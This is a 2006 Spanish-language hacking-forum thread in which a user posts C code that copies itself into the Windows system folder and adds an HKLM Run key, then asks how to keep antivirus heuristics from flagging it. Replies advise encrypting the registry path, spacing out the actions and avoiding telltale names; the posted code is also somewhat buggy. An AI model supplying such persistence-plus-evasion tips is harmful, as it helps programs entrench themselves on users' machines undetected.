elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: ¿Usas Skype? Protégete de los Skype Resolver


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse)
| | |-+  Porque el antivirus heuristico detecta mi programa como virus si no lo es????
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Porque el antivirus heuristico detecta mi programa como virus si no lo es????  (Leído 2,536 veces)
G3r4rD

Desconectado Desconectado

Mensajes: 34


Ver Perfil WWW
Porque el antivirus heuristico detecta mi programa como virus si no lo es????
« en: 8 Febrero 2006, 16:17 »

Tengo un programa el cual quiero que se ejecute cada vez que se reinicia el ordenador para eso hago que se copie a si mismo en la carpeta del sistema y guarde una clave en el registro para que al reiniciar se autoejecute la funcion que hace eso es esta:

int GuardarRegistro(char *Dest,char *NomKey, char *KeyVal)
{
   HKEY hk;
   int disposition;
   RegCreateKeyEx(HKEY_LOCAL_MACHINE, Dest, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, (unsigned long *) &disposition);
   if(!RegSetValueEx(hk,NomKey, 0, REG_SZ, (LPBYTE) KeyVal, strlen(KeyVal) +1))
   {
      RegCloseKey(hk);
      return 0;
   }
   RegCloseKey(hk);
   return 1;
}

void AutomaticRun ()
{
   char SystemD[64];
   char Path[512];
   int EspacioReservado = 512;
   GetSystemDirectory(SystemD, 64);
   strcat(TrojanSource, "\\program.exe");
   GetModuleFileName(GetModuleHandle(NULL), Path, EspacioReservado);
   CopyFile(Path, SystemD, true);
   GuardarRegistro (FOLDER_RUN,"pro", SystemD);
}


Pues resulta que cuando implemento esta funcion el antivirus panda platinum 2006 me dice que prodria ser un posible virus supongo que lo hace su funcion heuristica y la verdad que no se como evitar que lo detecte


En línea

- n0sEcReT -

Desconectado Desconectado

Mensajes: 283


Impossible is nothing


Ver Perfil WWW
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #1 en: 8 Febrero 2006, 16:48 »

Pues de seguro es porque esta escribiendo el registro con el programa y en la sintaxis del programa utilizas una palabra con el nombre de TrojanSource.

Prueva cambiar TrojanSource por otra cosa , o utilizar otro metodo de escritura en el registro.


En línea



Casidiablo
Desarrollador
Colaborador
***
Desconectado Desconectado

Mensajes: 2.914



Ver Perfil WWW
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #2 en: 8 Febrero 2006, 17:03 »


Yo diría que el antivirus bloquea el intento de modificar el registro. Pero ni idea de como hacer para que el programa modifique el registro sin restricciones.

Saludos!!!
En línea

Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #3 en: 8 Febrero 2006, 18:22 »

La heuristica del antivirus dificilmente bloquee el intento de modificar el registro, justamente esta es una caracteristica de windows para interactuar con otros programas, y el que un programa agregue o modifique el resgistro no implica que este sea malicioso.

De hecho, ni la heuristica ni el antivirus en si restringen la escritura del registro. Algunos AV como el Kaspersky tienen un complemento (que no es el antivirus en si) para monitorear las modificaciones en el registro, mas que nada por una cuestion de control que por "proteccion antivirus".

Esto se demuestra por ej instalando el MSN o un cliente similar... si marcamos la opcion de "Iniciar al entrar a windows" veremos que el antivirus lo toma sin problemas.

Entonces, a menos que sea un complemento de este tipo el que lanza la alerta, no queda otra que suponer que es la heuristica. En ese caso, como ya dijeron sea seguramente porque "detecta" en el lenguaje ensamblador palabras que definirian como potencialmente malicioso al programa, como es el caso de "TrojanSource".

Proba modificando eso.

Saludos
En línea

:: I was born ready motha fucka ::
JuszR


Desconectado Desconectado

Mensajes: 2.865


Programming & RI


Ver Perfil
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #4 en: 8 Febrero 2006, 18:52 »

No entiendo. Cómo es que el AV sepa que en ese programa existe la palabra "TrojanSource"... no se supone que al compilar se "pierde" el código y nadie puede verlo más que teniendo el main.c o main.cpp del proyecto?

Otro que contrla los cambios del registro es el SpyBot, si es que ejecutan el TeaTimer.
En línea

- No programming language is perfect. There is not even a single best language; there are only languages well suited or perhaps poorly suited for particular purposes. [Herbert Mayer]
Casidiablo
Desarrollador
Colaborador
***
Desconectado Desconectado

Mensajes: 2.914



Ver Perfil WWW
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es????
« Respuesta #5 en: 8 Febrero 2006, 18:58 »

No entiendo. Cómo es que el AV sepa que en ese programa existe la palabra "TrojanSource"... no se supone que al compilar se "pierde" el código y nadie puede verlo más que teniendo el main.c o main.cpp del proyecto?

Es lo que pienso...
En línea

Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #6 en: 8 Febrero 2006, 21:57 »

No entiendo. Cómo es que el AV sepa que en ese programa existe la palabra "TrojanSource"... no se supone que al compilar se "pierde" el código y nadie puede verlo más que teniendo el main.c o main.cpp del proyecto?

Abrí el ejecutable con algun dissasembler, como el OllyDBG y vas a verlo en el lenguaje de nivel mas bajo, assembler, en ese codigo vas a encontrar varias cosas del codigo original, como llamadas a librerias, nombres de variables, cadenas de textos, etc... El AV tambien lo ve... y por eso la alerta.

Aca dejo una introduccion al assembler para que se den una mejor idea de como funciona.

http://www.pablin.com.ar/computer/cursos/varios/introasm.htm

Saludos
« Última modificación: 8 Febrero 2006, 22:18 por Manibal_man » En línea

:: I was born ready motha fucka ::
JuszR


Desconectado Desconectado

Mensajes: 2.865


Programming & RI


Ver Perfil
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #7 en: 8 Febrero 2006, 22:14 »

No ma.... apenas voy en C, eso es código máquina. :-[


Abrí el ejecutable con algun dissasembler, como el OllyDBG y vas a verlo en el lenguaje de nivel mas alto, assembler,
Bajo... el más alto es Logo. ;)
En línea

- No programming language is perfect. There is not even a single best language; there are only languages well suited or perhaps poorly suited for particular purposes. [Herbert Mayer]
Manibal_man


Desconectado Desconectado

Mensajes: 528



Ver Perfil
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #8 en: 8 Febrero 2006, 22:19 »

Correjido.

Saludos
En línea

:: I was born ready motha fucka ::
JuszR


Desconectado Desconectado

Mensajes: 2.865


Programming & RI


Ver Perfil
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es???
« Respuesta #9 en: 8 Febrero 2006, 23:18 »

Uta ma... Demasiados números. Salen más de 150 líneas de código y todas en Asm, . :shocked: :shocked: :shocked: :shocked:

Que lenguaje... dios! ::)
En línea

- No programming language is perfect. There is not even a single best language; there are only languages well suited or perhaps poorly suited for particular purposes. [Herbert Mayer]
Override

Desconectado Desconectado

Mensajes: 242



Ver Perfil WWW
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es????
« Respuesta #10 en: 9 Febrero 2006, 05:17 »

Tengo un programa el cual quiero que se ejecute cada vez que se reinicia el ordenador para eso hago que se copie a si mismo en la carpeta del sistema y guarde una clave en el registro para que al reiniciar se autoejecute la funcion que hace eso es esta:

int GuardarRegistro(char *Dest,char *NomKey, char *KeyVal)
{
   HKEY hk;
   int disposition;
   RegCreateKeyEx(HKEY_LOCAL_MACHINE, Dest, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hk, (unsigned long *) &disposition);
   if(!RegSetValueEx(hk,NomKey, 0, REG_SZ, (LPBYTE) KeyVal, strlen(KeyVal) +1))
   {
      RegCloseKey(hk);
      return 0;
   }
   RegCloseKey(hk);
   return 1;
}

void AutomaticRun ()
{
   char SystemD[64];
   char Path[512];
   int EspacioReservado = 512;
   GetSystemDirectory(SystemD, 64);
   strcat(TrojanSource, "\\program.exe");
   GetModuleFileName(GetModuleHandle(NULL), Path, EspacioReservado);
   CopyFile(Path, SystemD, true);
   GuardarRegistro (FOLDER_RUN,"pro", SystemD);
}


Pues resulta que cuando implemento esta funcion el antivirus panda platinum 2006 me dice que prodria ser un posible virus supongo que lo hace su funcion heuristica y la verdad que no se como evitar que lo detecte

No tengo el panda antivirus para checarlo, pero la pregunta que todo antivirus se haría es:
Por que rayos este programa se copia a sistem y se ancla en el registro para ejecutarse? y aunque aun asi existan muchos programas que lo hagan, quizá tu codigo ya vamos a decir que haya sido usado por otra persona y los avers han visto un patrón de detección, en otras palabras copiarse a System32 y luego escribir en el registro para que se ejecute no es un comportamiento normal...

trata de cifrar la variable string que contiene el path de RUn (\Software\Microsoft\.. blah) y prueba, si sigue detectandote al implementar eso, trata de separar tu codigo, pon otras cosas y no lo hagas de inmediato

[copiar system]
[hacer otras cosas]
[escribir registro]

otro consejo es no uses palabras muy obvias ;-] eso ayuda en la detección.

ah y un consejo de optimización
GetModuleFileName, no es necesario que llames a getmodulehandle, con ponerle valor 0 obtiene el nombre/path del actual fichero.
En línea

G3r4rD

Desconectado Desconectado

Mensajes: 34


Ver Perfil WWW
Re: Porque el antivirus heuristico detecta mi programa como virus si no lo es????
« Respuesta #11 en: 9 Febrero 2006, 10:04 »

Lo siento la variable TrojanSource se ha colado, esta funcion la utilizo para siempre que quiero que un programa arranque solo y la copie directamente sin fijarme que ponia trojansource realmente alli deberia poner SystemD.

He modificado el nombre de las variables y cifrando las string que contienen la direccion del registro pero lo detecta ya que al final a la funcion que escribe en el registro le tengo que pasar la string descifrada.

He probado de estas formas y todas las detecta como posible virus.
- Copiandose a si mismo en la carpeta del sistema y metiendo una clave

- Copiandose a si mismo en otro lado que no se la carpeta del sistema y metiendo la clave

El problema eske necesito que se copie en otro lado y asi si el usuario quiere borrar el ejecutable puede ya que se ha copiado en otra carpeta.

Se os ocurre alguna forma distinta de conseguir que un programa arranque solo?

En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines